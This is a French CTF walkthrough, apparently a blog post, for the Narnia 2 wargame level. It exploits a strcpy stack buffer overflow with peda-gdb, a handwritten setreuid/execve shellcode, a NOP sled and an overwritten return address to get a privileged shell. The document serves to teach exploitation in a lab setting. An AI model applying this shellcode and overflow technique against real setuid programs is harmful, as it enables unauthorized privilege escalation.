🩁Narnia 2

🩁Narnia 2

6 March 2023 Narnia challenges 0

Comme Ă  l’accoutumĂ©e, nous nous retrouvons pour le 3Ăšme challenge de cette sĂ©rie Narnia.

Nous allons découvrir un nouvel outil indispensable pour le challenge, mais aussi approfondir des connaissances vu au cours des précédents challenges.

DĂ©couverte

Voici le code source du programme narnia2 :

				
					#include 
#include 
#include 

int main(int argc, char * argv[]){
    char buf[128]; # Un buffer de 128 octets

    if(argc == 1){
        printf("Usage: %s argument\n", argv[0]);
        exit(1);
    }
    strcpy(buf,argv[1]);
    printf("%s", buf);

    return 0;
}
				
			

Ici le bug a exploitĂ© n’est pas visible au premier coup d’Ɠil.

Il faut savoir que strcpy est une fonction dĂ©prĂ©ciĂ©e car elle est vulnĂ©rable au Buffer overflow : elle n’a pas la possibilitĂ© de vĂ©rifier la taille du buffer de destination.

On peut donc injecter plus de caractĂšres que ce que peut recevoir la variable buf lors du strcpy.

Pour analyser le fonctionnement plus en dĂ©tail, j’ai utilisĂ© peda-gdb. Il s’agit d’un dĂ©buggeur permettant de dĂ©sassembler un programme pour comprendre ce qu’il s’y passe.

 

On le lance en tapant la commande :

				
					peda
				
			

On sélectionne le fichier à exécuter :

				
					file /narnia/narnia2
				
			

On configure les arguments que l’on va injecter dans la fonction de cette maniùre :

				
					pset arg '"A"*135'
				
			

On configure un breakpoint (sinon le programme va dĂ©filer jusqu’à la fin et on ne pourra pas voir ce qu’il se passe) :

				
					break *main
				
			

Et enfin on démarre le programme :

				
					start
				
			

Le programme va ensuite attendre que l’on passe les instructions une Ă  une avec la touche n puis EntrĂ©e.

 

Sur l’image ci-dessous, voici le rĂ©sultat de ces opĂ©rations :

Si c’est la premiĂšre fois que vous utilisez un dĂ©bugueur, ne paniquez pas !

 

L’affichage peut paraitre impressionnant au dĂ©but mais il est en fait assez intuitif :

Par rapport au programme, nous en sommes Ă  l’instruction strcpy (encadrĂ© en rouge).

Sur la pile, on voit bien qu’il y a des “A” rĂ©pĂ©tĂ©s 135 fois (soit 7 de trop pour buf) (encadrĂ© en rouge).

Je passe les instructions jusqu’au ret :

On voit que la valeur de EIP a Ă©tĂ© modifiĂ©e. Alors qu’elle est censĂ©e contenir l’adresse mĂ©moire de la prochaine instruction, elle contient dĂ©sormais une chaine de 3 “A”.

Ainsi, lors du ret, lorsque le programme va vouloir aller Ă  la prochaine instruction, il va se rĂ©fĂ©rer Ă  EIP. Or, la nouvelle adresse n’est pas valide.

C’est cela qui cause le Segmentation Fault.

Pour rĂ©soudre ce challenge il va donc falloir prendre le contrĂŽle d’EIP pour lui faire exĂ©cuter notre propre code. C’est le principe d’une attaque Stack over Flow.

Ainsi, pour rĂ©soudre ce challenge, nous avons besoin d’injecter :

 

  • Des caractĂšres permettant de remplir le buffer ;
  • Un shellcode ;
  • L’adresse de retour qui correspondra Ă  l’adresse du dĂ©but du shellcode.

Construction du shellcode

Dans un premier temps, comme vu dans l’article prĂ©cĂ©dent, pour construire un shellcode, il faut tout d’abord crĂ©er un programme assembleur.

Le programme doit contenir :

  1. L’exĂ©cution d’une commande permettant d’utiliser le sticky bit pour s’élever en privilĂšges
  2. L’exĂ©cution d’une commande permettant d’exĂ©cuter /bin/sh

Elévation de privilÚges

Afin de s’élever en privilĂšges, on utilise le sticky bit.

Le sticky bit est prĂ©sent sur les fichiers qui s’exĂ©cutent avec un autre utilisateur que l’utilisateur courant.

C’est notamment utile pour les processus qui ont besoin temporairement des droits root.

Cependant, il s’agit d’une pratique dangereuse car elle permet Ă  un attaquant d’exploiter une faille du programme et d’ainsi obtenir des accĂšs privilĂ©giĂ©s.

C’est ce nous allons tenter de faire dans ce challenge 😈

Pour s’élever en privilĂšges grĂące au sticky bit, on utilise la commande setreuid().

setreuid() définit les identifiants réels et effectifs du processus appelant.

 

L’ID rĂ©el est la personne que l’on est rĂ©ellement et l’ID effectif est celui qui permet au systĂšme de nous autoriser ou non Ă  effectuer certaines actions.

 

On Ă©crit donc un script ASM 32 bits faisant un appel (syscall) Ă  la fonction setreuid.

 

Pour trouver le numĂ©ro d’appel, il faut fouiller dans le fichier /usr/include/asm/unistd_32.h de la machine Narnia :

Il s’agit du numĂ©ro d’appel 70.

Ensuite, il faut trouver quels arguments on doit configurer pour appeler la fonction.

Ici nous avons 2 possibilitĂ©s : celle d’utiliser getuid ou celle de rentrer directement l’ID dans le programme.

La solution la plus simple est de rentrer directement l’ID dans le programme.

Sur ce site : https://faculty.nps.edu/cseagle/assembly/sys_call.html, vous trouverez tous les syscall, ainsi que leur arguments.

 

Ainsi, pour un programme assembleur 32 bits qui appelle la fonction setreuid pour l’utilisateur narnia3, voici ce que ça donne :

				
					section .text
global _start
	
_start:
	; xor
	xor eax, eax
	xor ebx, ebx
	
	; setreuid(rid, eid);
	xor eax, eax
	;rid
	mov bx, 14003   ; bx est le registre 16 bits de ebx
	;eid
	mov cx, 14003   ; cx est le registre 16 bits de ecx
	mov al, 70      ; al est le registre 8 bits de eax
	int 0x80        ; syscall
				
			

14003 est l’id de narnia3, on le configure 2 fois : pour l’id effectif et rĂ©el.

Le fait d’utiliser les registres bx et cx permet d’éviter d’avoir des zĂ©ros dans le shellcode.

 

Pour rappel, voici les différents registres, ainsi que leur taille :

Il est important de tenir compte de la taille de la donnĂ©e Ă  stocker afin de choisir le registre le plus adaptĂ©. Cela permet notamment d’éviter d’avoir des 0 au milieu du shellcode, empĂȘchant son fonctionnement.

Il faut ensuite rĂ©pĂ©ter l’opĂ©ration pour la fonction execve et la fonction exit.

Vous pouvez vous inspirer de cet exemple afin de rédiger cette seconde partie :

 

https://www.exploit-db.com/exploits/43716

Formatage

 

Une fois votre code terminé, exécuter la commande nasm afin de le compiler :

				
					nasm -f elf32 shellcode.s
				
			

Puis, regarder la sortie de la commande :

				
					objdump -d shellcode.o 
				
			

RĂ©cupĂ©rez la deuxiĂšme colonne, qui contient le code en hexadĂ©cimal et formatez le afin d’obtenir un shellcode de ce format lĂ  :

				
					 "\xb0\x0b\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"
				
			

Debug

Avant de tester que votre shellcode fonctionne, vous devez trouver l’adresse de retour.

Cette adresse se situera Ă  la fin de l’injection. Alors que l’injection remplira l’entiĂšretĂ© de la pile, l’adresse de retour sera inscrite sur le registre EIP. Ce registre permet de connaitre oĂč se trouve la prochaine instruction.

Ainsi, dÚs que EIP sera lu, notre code sera exécuté.

Pour dĂ©terminer l’adresse de retour, nous pouvons utiliser de nouveau peda-gdb.

 

Commençons par lancer l’utilitaire :

				
					file /narnia/narnia2
				
			

Configurons des arguments :

				
					set args $(python2 -c 'print("\x90"*150)')
				
			

Cet argument permet d’afficher 150 caractùres \x90, autrement dit “NOP”, ce qui signifie “No Operation” en assembleur.

 

Ajoutons un breakpoint, pour pouvoir faire dĂ©filer tranquillement le programme et voir ce qu’il s’y passe :

				
					break *main+68
				
			

Lancer le programme :

				
					run
				
			

Le programme dĂ©file jusqu’au prochain breakpoint.

 

Afficher le contenu de la pile, afin de connaitre l’adresse de retour que l’on pourra utiliser :

				
					x/100x $esp
				
			

Le premier x signifie “Examine memory”.

/100x signifie “affiche les 100 valeurs suivantes en hexadĂ©cimal”.

Voici le résultat :

				
					gdb-peda$ x/100x $esp
0xffffd400:     0x0804a01c      0xffffd408      0x90909090      0x90909090
0xffffd410:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd420:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd430:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd440:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd450:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd460:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd470:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd480:     0x90909090      0x90909090      0x90909090      0x90909090
0xffffd490:     0x90909090      0x90909090      0x90909090      0xff009090
0xffffd4a0:     0xf7fab000      0x08049196      0x00000002      0xffffd544
0xffffd4b0:     0xf7fab000      0xffffd544      0xf7ffcb80      0xf7ffd020
0xffffd4c0:     0x89760a03      0xc2968013      0x00000000      0x00000000
0xffffd4d0:     0x00000000      0xf7ffcb80      0xf7ffd020      0xd8e42900
0xffffd4e0:     0xf7ffda40      0xf7da24a6      0xf7fab000      0xf7da25f3
0xffffd4f0:     0x00000000      0x0804b0d8      0xffffd550      0xf7ffd020
0xffffd500:     0x00000000      0xf7fd8ff4      0xf7da256d      0x0804b1c8
0xffffd510:     0x00000002      0x08049080      0x00000000      0x080490ac
0xffffd520:     0x08049196      0x00000002      0xffffd544      0x00000000
0xffffd530:     0x00000000      0xf7fcaaa0      0xffffd53c      0xf7ffda40
0xffffd540:     0x00000002      0xffffd696      0xffffd6a6      0x00000000
0xffffd550:     0xffffd73d      0xffffd74d      0xffffd75f      0xffffd76f
0xffffd560:     0xffffd784      0xffffd793      0xffffd79c      0xffffd7af
0xffffd570:     0xffffd7bc      0xffffddab      0xffffddb6      0xffffddeb
0xffffd580:     0xffffde0d      0xffffde24      0xffffde2f      0xffffde4f
				
			

On voit qu’il y a un bloc de “\x90” allant de l’adresse 0xffffd400 jusqu’à 0xffffd490 ce qui reprĂ©sente notre injection.

Vous pouvez choisir une adresse de retour dans cette plage, au milieu des NOP. Pour ma part, j’ai choisi 0xffffd428.

Entrez la touche ‘n’ pour passer Ă  l’instruction suivante et continuer d’explorer le code si vous le dĂ©sirez.

Vous avez maintenant tous les ingrédients pour construire votre injection.

Il ne vous manque plus qu’à trouver le bon nombre de NOP pour qu’EIP prenne bien la valeur de l’adresse de retour voulue.

Pour cela, vous pouvez tester dans peda de mettre des A et des B en grande quantitĂ©, jusqu’à trouver la bonne quantitĂ©.

Par exemple :

				
					set args $(python2 -c 'print("A"*150 + "BBBB")')
				
			

Ici, EIP = ‘AAAA’, cela signifie qu’il y a trop de ‘A’.

Continuez ainsi jusqu’à ce que EIP soit Ă©gale Ă  ‘BBBB’.

Lorsque c’est le cas, remplacez les ‘A’ par des NOP + le shellcode, et les B par l’adresse de retour.

 

Vous obtiendrez une injection de ce format :

				
					 $(python2 -c 'print("x90"*X +"shellcode" + "\x28\xd4\xff\xff")')
				
			

oĂč X = taille trouvĂ©e avec les A – longueur du shellcode

Remarque : Il est conseillĂ© d’ajouter quelques NOP aprĂšs le shellcode pour Ă©viter tout bug. Il faudra en tenir compte dans le calcul.

Conclusion

FĂ©licitations Ă  vous si vous avez rĂ©ussi le challenge ! đŸ„ł

Si ce n’est pas le cas, ne vous dĂ©couragez pas. Il s’agit d’un challenge complexe, qui implique de bien comprendre l’assembleur ainsi que le principe de pile.

Quoi qu’il arrive, je suis sĂ»re que vous ressortirez de ce challenge avec de nouvelles compĂ©tences acquises, comme ce fut le cas pour moi 😊

Ressources